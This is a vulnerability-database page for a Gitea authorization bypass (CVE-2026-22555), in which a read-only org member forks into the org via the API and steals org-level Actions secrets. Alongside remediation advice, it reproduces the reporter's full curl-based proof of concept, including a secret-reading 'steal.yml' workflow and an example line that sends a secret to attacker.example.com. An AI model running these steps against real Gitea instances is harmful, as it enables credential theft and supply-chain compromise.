Skip to main content

Gitea EUVDEUVD-2026-41617

| CVE-2026-22555 HIGH
Incorrect Authorization (CWE-863)
2026-06-17 https://github.com/go-gitea/gitea GHSA-fhx7-m96w-mv29
8.1
CVSS 3.1 · Vendor: https://github.com/go-gitea/gitea
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Authenticate as read-only org member
  2. Delivery
    POST to /api/v1/repos/{owner}/{repo}/forks with org target
  3. Exploit
    Receive admin-owned fork in org namespace
  4. Execution
    Enable Actions and push malicious workflow
  5. Persist
    Org runner injects org secrets into job
  6. Impact
    Exfiltrate secrets to attacker endpoint

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A01:2025 - Broken Access Control
ASVS 5.0
V8 - Authorization Authorization logic validation
MITRE ATT&CK

1 technique across 1 tactic: Privilege Escalation

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Requires an authenticated Gitea account that is a member of the target organization (any team, including read-only with can_create_org_repo=false) and has at least read access to one repository owned by that organization to use as a fork source. The Gitea instance must have Actions enabled (GITEA__actions__ENABLED=true) with at least one registered runner attached to the organization for secret exfiltration to succeed, and the organization must define org-level Actions secrets that are valuable to the attacker. The attack uses only the documented REST API (POST /api/v1/repos/{owner}/{repo}/forks plus PATCH and contents endpoints) over the network, no user interaction, and works against default configurations of affected versions; the web UI path is not vulnerable. Limiting factor: a completely external unauthenticated attacker cannot exploit this - org membership is required.

Impact

The reporter's CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N (8.1) is consistent with the PoC: any authenticated org member with at least read access to one org repo can mount the attack over the network without user interaction. EPSS and CISA KEV status are not provided in the input, so prevalence of exploitation is unknown; however, a complete working PoC with curl commands is published in the GHSA advisory, materially raising real-world risk. Confidentiality and integrity impact are HIGH because org-level secrets (cloud IAM keys, deploy keys, registry tokens) typically grant lateral movement well beyond Gitea itself, and the attacker can also push code under the org's trusted namespace, creating supply-chain risk. Despite the 'RCE' tag in the input, the bug itself is an authorization bypass leading to secret exfiltration and arbitrary workflow execution on org-controlled runners - not unauthenticated RCE on the Gitea server.

Exploit ScenarioDerived

An auditor or contractor with read-only access to one repository in a Gitea organization issues an authenticated POST to /api/v1/repos/{owner}/{repo}/forks with organization=target-org, receiving an admin-owned fork inside the org namespace. They enable Actions on the fork and push a .gitea/workflows/steal.yml that references the org's DEPLOY_KEY and AWS credentials; the org's runner picks the job up because it matches on owner_id, executes the workflow with secrets injected, and exfiltrates them to an attacker-controlled endpoint. A complete copy-paste PoC, including a docker-compose lab, is published in the GHSA advisory.

This Week Schedule remediation this week. Why: HIGH severity (CVSS 7.0-8.9).
Patch available 0.3% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Jun 18, 2026

Authorization bypass in Gitea versions prior to 1.26.0 lets a read-only organization member create repositories in the organization namespace via the API fork endpoint, despite a team configuration that denies repository creation (can_create_org_repo=false). Because the fork creator receives admin rights on the resulting repo, the attacker can enable Actions and push a workflow that exfiltrates all organization-level CI/CD secrets (deploy keys, cloud credentials, API tokens). Publicly available exploit code exists in the GHSA advisory with a full step-by-step PoC; no public exploit identified at time of analysis beyond the reporter's reproduction.

RemediationAI

Vendor-released patch: upgrade Gitea to 1.26.0 or later, per GHSA-fhx7-m96w-mv29 (https://github.com/go-gitea/gitea/security/advisories/GHSA-fhx7-m96w-mv29). If immediate upgrade is not possible, reduce blast radius by disabling Gitea Actions globally (set actions.ENABLED=false in app.ini) which prevents secret injection at the cost of losing all CI/CD; alternatively, remove all organization-level Actions secrets and migrate them to per-repository secrets owned by repos that read-only members cannot fork into, accepting operational churn and duplication. As a narrower compensating control, audit and remove read-only/contractor accounts from organizations that hold sensitive org secrets, and restrict org membership so untrusted users cannot reach the fork API endpoint; this does not fix the bypass but eliminates the attacker prerequisite. Monitor audit logs for unexpected POST /api/v1/repos/{owner}/{repo}/forks calls and for new workflow files (.gitea/workflows/*) appearing in org repos until the patch is applied.

Affected VersionsENISA

Gitea Open Source Git Server 0 <1.26.0

Affected Packages

go code.gitea.io/gitea fix: 1.26.0
euvd gitea_open_source_git_server fix: 1.26.0

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 2 packages in go, euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

Gitea is a self-hosted Git service written in Go (pkg:go/code.gitea.io_gitea). The flaw is a classic CWE-863 incorrect authorization: the API fork handler at routers/api/v1/repo/fork.go only invokes IsOrgMember() when the fork target is an organization, while the equivalent web UI handler at routers/web/repo/fork.go additionally calls CanCreateOrgRepo(). This inconsistent enforcement between API and web surfaces creates a broken function-level authorization (OWASP API5:2023). Downstream, services/repository/create.go grants admin permissions to the fork creator, and the Actions subsystem in models/actions/task.go and models/secret/secret.go binds runner job assignment and org-secret injection to repo.OwnerID - so any org-owned repo, including the smuggled fork, sees the org's secrets.

Know when Gitea gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (https://github.com/go-gitea/gitea) PRIMARY 8.1 HIGH
AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N
vuln.today AI 8.1 HIGH

Network API call by any authenticated org member (PR:L), no user interaction, yields org-secret disclosure and code push under org namespace (C:H/I:H), no availability impact.

3.1 AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N
4.0 AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N
SUSE HIGH
Red Hat 8.1 HIGH

Primary rating from Vendor (https://github.com/go-gitea/gitea).

CVSS VectorVendor: https://github.com/go-gitea/gitea

Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
None

DescriptionCVE.org

Summary

The API endpoint POST /api/v1/repos/{owner}/{repo}/forks only checks IsOrgMember() when a user forks a repository into an organization, but does not check CanCreateOrgRepo(). The web UI fork handler correctly checks both. This allows a read-only organization member - in a team with can_create_org_repo=false - to create repositories in the organization namespace via the API. The attacker receives full admin permissions on the forked repository, can enable Actions, push arbitrary workflow files, and exfiltrate all organization-level CI/CD secrets (deploy keys, cloud credentials, API tokens) through the runner infrastructure.

Steps To Reproduce

1. Environment setup

Start a Gitea instance with Actions enabled:

bash
# docker-compose.yml
cat > docker-compose.yml << 'EOF'
version: '3'
services:
  gitea:
    image: gitea/gitea:1.23
    container_name: gitea-poc
    ports:
      - "3000:3000"
    volumes:
      - gitea-data:/data
    environment:
      - GITEA__database__DB_TYPE=sqlite3
      - GITEA__server__ROOT_URL=http://localhost:3000/
      - GITEA__security__INSTALL_LOCK=true
      - GITEA__actions__ENABLED=true
volumes:
  gitea-data:
EOF

docker compose up -d
# Wait for startup
sleep 15
# Create admin user
docker exec -u git gitea-poc gitea admin user create \
  --admin --username admin --password 'Admin1234!' \
  --email admin@example.com --must-change-password=false

2. Create the target environment (as admin)

bash
# Get admin token
ADMIN_TOKEN=$(curl -s -X POST "http://localhost:3000/api/v1/users/admin/tokens" \
  -u "admin:Admin1234!" -H "Content-Type: application/json" \
  -d '{"name": "setup", "scopes": ["all"]}' | python3 -c "import sys,json; print(json.load(sys.stdin)['sha1'])")
# Create attacker user
curl -s -X POST "http://localhost:3000/api/v1/admin/users" \
  -H "Authorization: token $ADMIN_TOKEN" -H "Content-Type: application/json" \
  -d '{"username":"attacker","password":"Attacker123!","email":"attacker@example.com","must_change_password":false}'
# Create organization
curl -s -X POST "http://localhost:3000/api/v1/orgs" \
  -H "Authorization: token $ADMIN_TOKEN" -H "Content-Type: application/json" \
  -d '{"username":"target-org","visibility":"public"}'
# Create a source repository in the org
curl -s -X POST "http://localhost:3000/api/v1/orgs/target-org/repos" \
  -H "Authorization: token $ADMIN_TOKEN" -H "Content-Type: application/json" \
  -d '{"name":"source-repo","auto_init":true}'
# Create a read-only team with can_create_org_repo=false
TEAM_ID=$(curl -s -X POST "http://localhost:3000/api/v1/orgs/target-org/teams" \
  -H "Authorization: token $ADMIN_TOKEN" -H "Content-Type: application/json" \
  -d '{"name":"readonly-team","permission":"read","can_create_org_repo":false,"units":["repo.code","repo.issues"]}' \
  | python3 -c "import sys,json; print(json.load(sys.stdin)['id'])")
# Add attacker to the read-only team
curl -s -X PUT "http://localhost:3000/api/v1/teams/$TEAM_ID/members/attacker" \
  -H "Authorization: token $ADMIN_TOKEN"
# Add source-repo to the team so attacker can read it
curl -s -X PUT "http://localhost:3000/api/v1/teams/$TEAM_ID/repos/target-org/source-repo" \
  -H "Authorization: token $ADMIN_TOKEN"
# Create organization secrets (simulating real CI/CD credentials)
curl -s -X PUT "http://localhost:3000/api/v1/orgs/target-org/actions/secrets/DEPLOY_KEY" \
  -H "Authorization: token $ADMIN_TOKEN" -H "Content-Type: application/json" \
  -d '{"data":"sk-live-test-deploy-key-1234567890abcd"}'

curl -s -X PUT "http://localhost:3000/api/v1/orgs/target-org/actions/secrets/AWS_ACCESS_KEY" \
  -H "Authorization: token $ADMIN_TOKEN" -H "Content-Type: application/json" \
  -d '{"data":"AKIAIOSFODNN7EXAMPLE"}'

curl -s -X PUT "http://localhost:3000/api/v1/orgs/target-org/actions/secrets/AWS_SECRET_KEY" \
  -H "Authorization: token $ADMIN_TOKEN" -H "Content-Type: application/json" \
  -d '{"data":"wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY"}'

3. Register an Actions runner

bash
# Get runner registration token
REG_TOKEN=$(docker exec -u git gitea-poc gitea actions generate-runner-token)
# Start act_runner (adjust network name if needed)
NETWORK=$(docker inspect gitea-poc --format '{{range $key, $val := .NetworkSettings.Networks}}{{$key}}{{end}}')
docker run -d --name act-runner --network "$NETWORK" \
  -e GITEA_INSTANCE_URL=http://gitea-poc:3000 \
  -e GITEA_RUNNER_REGISTRATION_TOKEN="$REG_TOKEN" \
  -e GITEA_RUNNER_LABELS=ubuntu-latest:docker://node:20-bookworm \
  -v /var/run/docker.sock:/var/run/docker.sock \
  gitea/act_runner:latest
# Wait for runner registration
sleep 15

4. Verify attacker CANNOT create repos in the org (expected: 403)

bash
# Get attacker token
ATTACKER_TOKEN=$(curl -s -X POST "http://localhost:3000/api/v1/users/attacker/tokens" \
  -u "attacker:Attacker123!" -H "Content-Type: application/json" \
  -d '{"name": "poc", "scopes": ["all"]}' | python3 -c "import sys,json; print(json.load(sys.stdin)['sha1'])")
# Try creating a repo directly - should fail
curl -s -o /dev/null -w "Direct repo creation: HTTP %{http_code}\n" \
  -X POST "http://localhost:3000/api/v1/orgs/target-org/repos" \
  -H "Authorization: token $ATTACKER_TOKEN" -H "Content-Type: application/json" \
  -d '{"name":"should-fail","auto_init":true}'
# Expected output: Direct repo creation: HTTP 403
# Verify attacker cannot access org secrets via API
curl -s -o /dev/null -w "Access org secrets: HTTP %{http_code}\n" \
  "http://localhost:3000/api/v1/orgs/target-org/actions/secrets" \
  -H "Authorization: token $ATTACKER_TOKEN"
# Expected output: Access org secrets: HTTP 403

5. Exploit: Fork into the org via API (THE BYPASS)

bash
# Fork the source repo into the org - this should also fail but doesn't
FORK_RESULT=$(curl -s -X POST \
  "http://localhost:3000/api/v1/repos/target-org/source-repo/forks" \
  -H "Authorization: token $ATTACKER_TOKEN" -H "Content-Type: application/json" \
  -d '{"organization":"target-org","name":"evil-fork"}')

echo "$FORK_RESULT" | python3 -c "
import sys,json
d = json.load(sys.stdin)
print(f'Fork created: {d[\"full_name\"]}')
print(f'Permissions: admin={d[\"permissions\"][\"admin\"]}, push={d[\"permissions\"][\"push\"]}')
"
# Expected output:
#   Fork created: target-org/evil-fork
#   Permissions: admin=True, push=True

The attacker now has admin+push access to an org-owned repository, despite being in a team with can_create_org_repo=false.

6. Enable Actions and push exfiltration workflow

bash
# Enable Actions on the fork
curl -s -X PATCH "http://localhost:3000/api/v1/repos/target-org/evil-fork" \
  -H "Authorization: token $ATTACKER_TOKEN" -H "Content-Type: application/json" \
  -d '{"has_actions":true}'
# Push a workflow that references org secrets
WORKFLOW=$(cat << 'WFEOF'
name: exfiltrate
on: [push]
jobs:
  steal:
    runs-on: ubuntu-latest
    steps:
      - name: Leak org secrets
        env:
          DEPLOY_KEY: ${{ secrets.DEPLOY_KEY }}
          AWS_ACCESS_KEY: ${{ secrets.AWS_ACCESS_KEY }}
          AWS_SECRET_KEY: ${{ secrets.AWS_SECRET_KEY }}
        run: |
          echo "=== SECRET EXFILTRATION ==="
          echo "DEPLOY_KEY length: ${#DEPLOY_KEY}"
          echo "AWS_ACCESS_KEY length: ${#AWS_ACCESS_KEY}"
          echo "AWS_SECRET_KEY length: ${#AWS_SECRET_KEY}"
          echo "DEPLOY_KEY prefix: ${DEPLOY_KEY:0:4}..."
          echo "AWS_ACCESS_KEY prefix: ${AWS_ACCESS_KEY:0:4}..."
          echo "AWS_SECRET_KEY prefix: ${AWS_SECRET_KEY:0:4}..."
          echo "=== END EXFILTRATION ==="
WFEOF
)

curl -s -X POST \
  "http://localhost:3000/api/v1/repos/target-org/evil-fork/contents/.gitea/workflows/steal.yml" \
  -H "Authorization: token $ATTACKER_TOKEN" -H "Content-Type: application/json" \
  -d "{\"content\":\"$(echo -n "$WORKFLOW" | base64 -w0)\",\"message\":\"add CI\"}"

7. Verify secret exfiltration

bash
# Wait for the runner to execute the workflow (60-120 seconds)
sleep 90
# Check the Actions run page in browser or via API:
echo "View results at: http://localhost:3000/target-org/evil-fork/actions"

Expected output in the workflow logs:

=== SECRET EXFILTRATION ===
DEPLOY_KEY length: 37
AWS_ACCESS_KEY length: 20
AWS_SECRET_KEY length: 40
DEPLOY_KEY prefix: sk-l...
AWS_ACCESS_KEY prefix: AKIA...
AWS_SECRET_KEY prefix: wJal...
=== END EXFILTRATION ===

All three organization-level secrets are accessible to the attacker's workflow. In a real attack, the workflow would exfiltrate secrets to an attacker-controlled endpoint (e.g., curl -d "$SECRET" https://attacker.example.com/collect).

Impact

A read-only organization member - with no repository creation rights (can_create_org_repo=false) - can exfiltrate all organization-level CI/CD secrets by exploiting a missing authorization check in the API fork endpoint. The web UI correctly enforces the CanCreateOrgRepo permission, but the API does not, creating a classic API-vs-web authorization inconsistency.

The attack chain is: (1) fork an existing org repo back into the same org via the API, bypassing the CanCreateOrgRepo check; (2) receive admin permissions on the fork as its creator; (3) enable Actions and push a workflow that references org secrets; (4) the org's runner picks up the job (runners match on repository.owner_id), and org secrets are injected into the workflow environment (fetched by Repo.OwnerID); (5) the workflow exfiltrates all org secrets.

Organization secrets commonly include deploy keys, cloud credentials (AWS IAM keys, GCP service accounts), container registry tokens, and personal access tokens with broad scope. Stolen credentials enable lateral movement to cloud infrastructure, private repositories, and external services far beyond the Gitea instance itself. The attacker can also push arbitrary code under the organization's trusted namespace, creating supply chain risk for downstream consumers.

This is particularly dangerous because organizations commonly use read-only teams for auditors, reviewers, contractors, or new employees - precisely the users who should NOT have access to production secrets.

Supporting Material/References

  • poc-fork-authz-bypass.zip - ZIP archive containing the full exploit script and README
  • Vulnerable code - API fork handler (missing CanCreateOrgRepo check):

https://github.com/go-gitea/gitea/blob/79f96b3e24/routers/api/v1/repo/fork.go#L135-L144

  • Correct code - Web fork handler (has CanCreateOrgRepo check):

https://github.com/go-gitea/gitea/blob/79f96b3e24/routers/web/repo/fork.go#L181-L189

  • Runner task assignment (matches on owner_id):

https://github.com/go-gitea/gitea/blob/79f96b3e24/models/actions/task.go#L245-L248

  • Secret injection (fetches by Repo.OwnerID):

https://github.com/go-gitea/gitea/blob/79f96b3e24/models/secret/secret.go#L167

  • Fork creator gets admin permissions:

https://github.com/go-gitea/gitea/blob/79f96b3e24/services/repository/create.go#L433-L440

  • Related fix: PR #34031 fixed a similar bypass via repo transfers, confirming this class of authorization inconsistency is treated as a vulnerability
  • OWASP API Security Top 10 2023: API5 - Broken Function Level Authorization
  • OWASP Top 10 2021: A01 - Broken Access Control

poc-fork-authz-bypass.zip

Executive ViewAI

Why It Matters

Gitea prior to 1.26.0 is vulnerable to an authorization bypass (CVE-2026-22555, CVSS 8.1) allowing read-only team members to escalate privileges, create repositories, and steal organization secrets including cloud credentials and API tokens; publicly available exploit code exists, creating significant risk to integrated cloud infrastructure and third-party services.

Business Impact: High
Compensating Controls

Restrict fork API endpoint access via firewall or reverse proxy WAF rules; disable Actions feature or restrict to trusted users with approval requirement; implement enhanced logging and alerting on repository creation and fork activities; require additional authentication for sensitive API endpoints; execute immediate rotation of all organization secrets and credentials; maintain network isolation between Gitea and sensitive infrastructure.

Threat Intelligence Overview

EPSS Score
0.3%
Top 78% exploitable
Threat Intel
1
1 source
Data Quality
6 sources
Confidence: High

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity HIGH
CISA KEV No
Public POC No
EPSS 0.3%
Patch available Yes
Active threat No
Deciding rule
HIGH severity (CVSS 7.0-8.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Scheduled
Exploitation· derived
None
System Exposure· derived
Open
Automatable· derived
No
Human Impact
High

Priority Score

40
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +40
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Authentication bypass attacks exploit flaws in the verification mechanisms that control access to systems and applications.

Remote Code Execution represents the critical moment when an attacker successfully runs arbitrary code on a target system without physical access.

More in Gitea

View all
CVE-2026-60004 CRITICAL POC
9.8

Remote code execution in Gitea (self-hosted Git service) via a code-injection flaw (CWE-94) allows attackers to run arbi

CVE-2026-27771 HIGH POC
8.2 Jul 03

Broken access control in Gitea's Composer package registry (versions up to and including 1.26.1) lets remote attackers r

CVE-2022-30781 HIGH POC
7.5 May 16

Gitea before 1.16.7 does not escape git fetch remote. Rated high severity (CVSS 7.5), this vulnerability is remotely exp

CVE-2020-14144 HIGH POC
7.2 Oct 16

The git hook feature in Gitea 1.1.0 through 1.12.5 might allow for authenticated remote code execution in customer envir

CVE-2024-6886 CRITICAL POC
10.0 Aug 06

Improper Neutralization of Input During Web Page Generation (XSS or 'Cross-site Scripting') vulnerability in Gitea Gitea

CVE-2026-72867 CRITICAL POC
9.9 Aug 10

Authenticated command injection in Dokploy (self-hostable PaaS) versions 0.29.3 through 0.29.12 lets a low-privileged us

CVE-2026-20896 CRITICAL POC
9.8 Jul 03

Reverse-proxy authentication bypass in the official Gitea Docker image (versions up to and including 1.26.2) allows any

CVE-2026-59774 CRITICAL POC
9.8

Path traversal in Gitea's Org-mode (`.org`) markup renderer allows an attacker who can get Org-mode content rendered by

CVE-2026-58053 CRITICAL POC
9.4 Jun 28

Container escape in Gitea act_runner (Docker backend, through act 0.262.0) lets an authenticated user with workflow-exec

CVE-2019-11229 HIGH POC
8.8 Apr 15

models/repo_mirror.go in Gitea before 1.7.6 and 1.8.x before 1.8-RC3 mishandles mirror repo URL settings, leading to rem

CVE-2026-57894 HIGH POC
8.5 Jul 21

Server-side request forgery and internal repository exfiltration in Gitea before 1.27.0 lets a low-privileged authentica

CVE-2026-24791 HIGH POC
8.1 Jun 17

Authorization bypass in Gitea versions 1.22.3 through 1.26.1 allows holders of `public-only` access tokens or OAuth gran

Vendor StatusVendor

SUSE

Severity: Important
Product Status
SUSE Linux Enterprise Server 16.1 Affected
SUSE Linux Enterprise Server for SAP applications 16.1 Affected
SUSE Linux Enterprise Module for Package Hub 15 SP5 Affected
SUSE Linux Enterprise Module for Package Hub 15 SP6 Affected
openSUSE Leap 15.5 Affected

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy